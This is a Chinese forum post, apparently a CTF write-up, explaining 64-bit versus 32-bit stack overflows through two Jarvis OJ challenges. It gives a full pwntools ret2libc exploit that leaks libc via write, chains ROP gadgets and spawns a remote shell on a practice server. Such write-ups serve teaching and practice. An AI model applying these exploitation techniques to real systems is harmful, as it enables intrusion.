用户
搜索

该用户从未签到

i春秋-核心白帽

Rank: 4

17

主题

77

帖子

447

魔法币
收听
0
粉丝
1
注册时间
2017-7-29
发表于 2018-9-30 09:59:00 45427
本帖最后由 W1ngs 于 2018-9-30 10:03 编辑

在做 pwn 题时,难免会遇到64位的栈溢出程序,处理32位和64位程序会有所不同。这里总结一下64位和32位程序的差异,并结合两道例题给出解题方法

0x00 差异

1.64 位函数调用需要使用寄存器传参,前三个参数存放在寄存器 rdi、rsi、rdx 中,32 位函数调用使用栈传参(具体看下面的例子)

2.64程序一个存储单元占8个字节,32位占4个字节。所以在填充 ebp(rbp) 时会有差异,这是经常会出现的错误

3.利用gadget时会有差异。64位程序中可以使用一些更巧妙的技巧例如 ret2__libc_csu_init 来构造寄存器的值看传递函数参数。

0x01 level2 x64

题目链接:https://dn.jarvisoj.com/challengefiles/level2_x64.04d700633c6dc26afc6a1e7e9df8c94e

反汇编代码

main函数

vulnerable_function函数

32位的程序函数是使用栈来传递参数
64位的程序函数是使用寄存器来传递参数,前几个参数的顺序分别为 rdi, rsi, rdx, rcx, r8, r9

看下面画的图也许会清楚一点:

将需要传递的参数放在 pop rdi 的下面,执行 pop rdi 时,就将栈顶的值赋值给rdi,即此时:rdi = "/bin/sh"

0x02 解题思路

程序里有 system 函数可以直接使用,shift+F12 发现也有 /bin/sh 字符串,所以可以根据上图64位程序的方式进行填充

1、将 a*n 填充完 rbp 后,依次填充 pop rdi,/bin/sh

2、执行到返回地址后,执行了 pop rdi,也就是 rdi = '/bin/sh'

3、将 rdi 作为参数执行 system 函数

0x03 解题脚本

执行脚本getshell:

0x04 level3 x64

题目链接:https://dn.jarvisoj.com/challengefiles/level3_x64.rar.8e639c3daf929853a1bc654d79c7992c

题目给了libc库,所以很明显是要利用libc库中的system函数来溢出。

0x05 反汇编代码

main函数:

vulnerable_function函数:

0x06 思路

同样是在read函数处存在溢出,先是溢出到返回地址,接着通过write函数泄露出libc的基地址,得到基地址之后找到libc库中system函数的偏移地址,把偏移地址加上libc的基地址,就得到了system函数的地址,直接调用即可。

但是有几个点需要注意:

  1. 64位程序使用寄存器来传递参数,前三个寄存器为rdi、rsi、rdx
  2. 需要用ROPgadget来找到pop rdi、pop rsi、pop rdx三条指令,这里会发现找不到pop rdx这个指令

0x07 解题步骤

这里就一步步来写exp,明确一下目的:先调用 write(1,got_read,8),然后返回到main函数,在vulnerable_function函数处再次溢出,调用system("/bin/sh"),字符串/bin/sh在libc库中搜索。

1.溢出到返回地址

在IDA中可以看到,buf距离rbp为0x80,再加上rbp的长度8字节

payload = 'a' * 0x80 + 'b' * 8

2.调用pop rdi、pop rsi

这里用 ROPgadget 命令来查找:

ROPgadget --binary ./level3_x64 | grep "pop rsi"

可以看到前面两个都可以找到合适的gadget,但是 pop rdx 的却找不到,也就是write函数的第三个参数是我们不能控制的

但是在动态调试时候,在read函数处下断点可以看到,此时的rdx是为 0x200,也就是说 write 函数的标准输出的长度为0x200字节,这里只要大于8个字节(地址长度),我们都可以得到read函数的真实地址(got表中的地址)

这段的payload如下:

payload += p64(pop_rdi_addr)
payload += p64(1)

payload += p64(pop_rsi_addr)        # pop rsi ; pop r15 ; ret
payload += p64(s.got['read'])        # rsi
payload += p64(0)                # r15

payload += p64(s.plt['write'])

payload += p64(main_addr)        # return to main function
  • 在给rsi赋值的时候,需要再 pop 出一个参数赋值给 r15,因为 pop rsi ; pop r15 ; ret 这条 gadget 是 pop 出栈中的两个参数。

3.返回主函数后调用system函数

system 函数只需要一个参数,选择 pop rdi 进行传参即可。

payload2 = 'a' * 0x80 + 'a' * 8
payload2 += p64(pop_rdi_addr)
payload2 += p64(bin_sh_addr)

payload2 += p64(system_addr)

r.sendline(payload2)

4.运行脚本getshell

完整的exp:

from pwn import *

context.log_level = 'debug'
s = ELF('level3_x64')

elf = ELF('libc-2.19.so')
#r = process('./level3_x64')
r = remote('pwn2.jarvisoj.com',9883)
system_off = elf.symbols['system']
read_off = elf.symbols['read']
main_addr = 0x00000000040061a
bin_sh_off_addr = next(elf.search("/bin/sh"))

pop_rdi_addr = 0x00000000004006b3
pop_rsi_addr = 0x00000000004006b1

payload = 'a' * 0x80 + 'a' * 8

payload += p64(pop_rdi_addr)
payload += p64(1)

payload += p64(pop_rsi_addr)        # pop rsi ; pop r15 ; ret
payload += p64(s.got['read'])        # rsi
payload += p64(0)                        # r15

payload += p64(s.plt['write'])

payload += p64(main_addr)        # return to main function

r.recvuntil('Input:\n')
r.sendline(payload)

read_addr = u64(r.recv()[0:8])

libc_base_addr = read_addr - elf.symbols['read']

print hex(libc_base_addr)
system_addr = libc_base_addr + elf.symbols['system']
bin_sh_addr = libc_base_addr + bin_sh_off_addr

r.recvuntil('Input:\n')

payload2 = 'a' * 0x80 + 'a' * 8
payload2 += p64(pop_rdi_addr)
payload2 += p64(bin_sh_addr)

payload2 += p64(system_addr)

r.sendline(payload2)

r.interactive()

0x08 exp中的几个方法

exp中很多都没有直接给出地址,而是使用了 pwntools 模块中的一些比较便捷的模块来间接找到函数的地址。

1.ELF 方法。调用程序自身的 ELF 方法,用于查找 read、write 函数的 plt、got 地址

用到了 got 数组和 plt 数组

s = ELF('level3_x64') --> p64(s.got['read'])  p64(s.plt['write'])

2.ELF 方法。调用 libc 库的 ELF 方法,用于得到 system、read 函数的偏移地址

用到了symbols数组

elf.symbols['read']
elf.symbols['system']

3.search方法。用于有 libc 库的情况下,方便查找字符串。配合next方法找到第一个字符串的地址

bin_sh_off_addr = next(elf.search("/bin/sh"))

0x09 总结

总之多刷题,在题目中总结规律,这是个人认为进步最快的一种方法。如果文章写的略有不足,恳请斧正。32位程序的栈溢出可以看我前面写的文章。

参考文章

level2 x64 writeup

level3 x64 writeup

中级ROP


一脸懵逼的进来,一脸懵逼才出去
使用道具 举报 回复
发表于 2018-10-8 12:14:48
正好这几天老师在讲栈溢出,而且是64位,感谢大表哥

评分

参与人数 1积分 +5 魔法币 +4 收起 理由
W1ngs + 5 + 4

查看全部评分

使用道具 举报 回复
支持一下~
使用道具 举报 回复
感谢分享
使用道具 举报 回复
发新帖
您需要登录后才可以回帖 登录 | 立即注册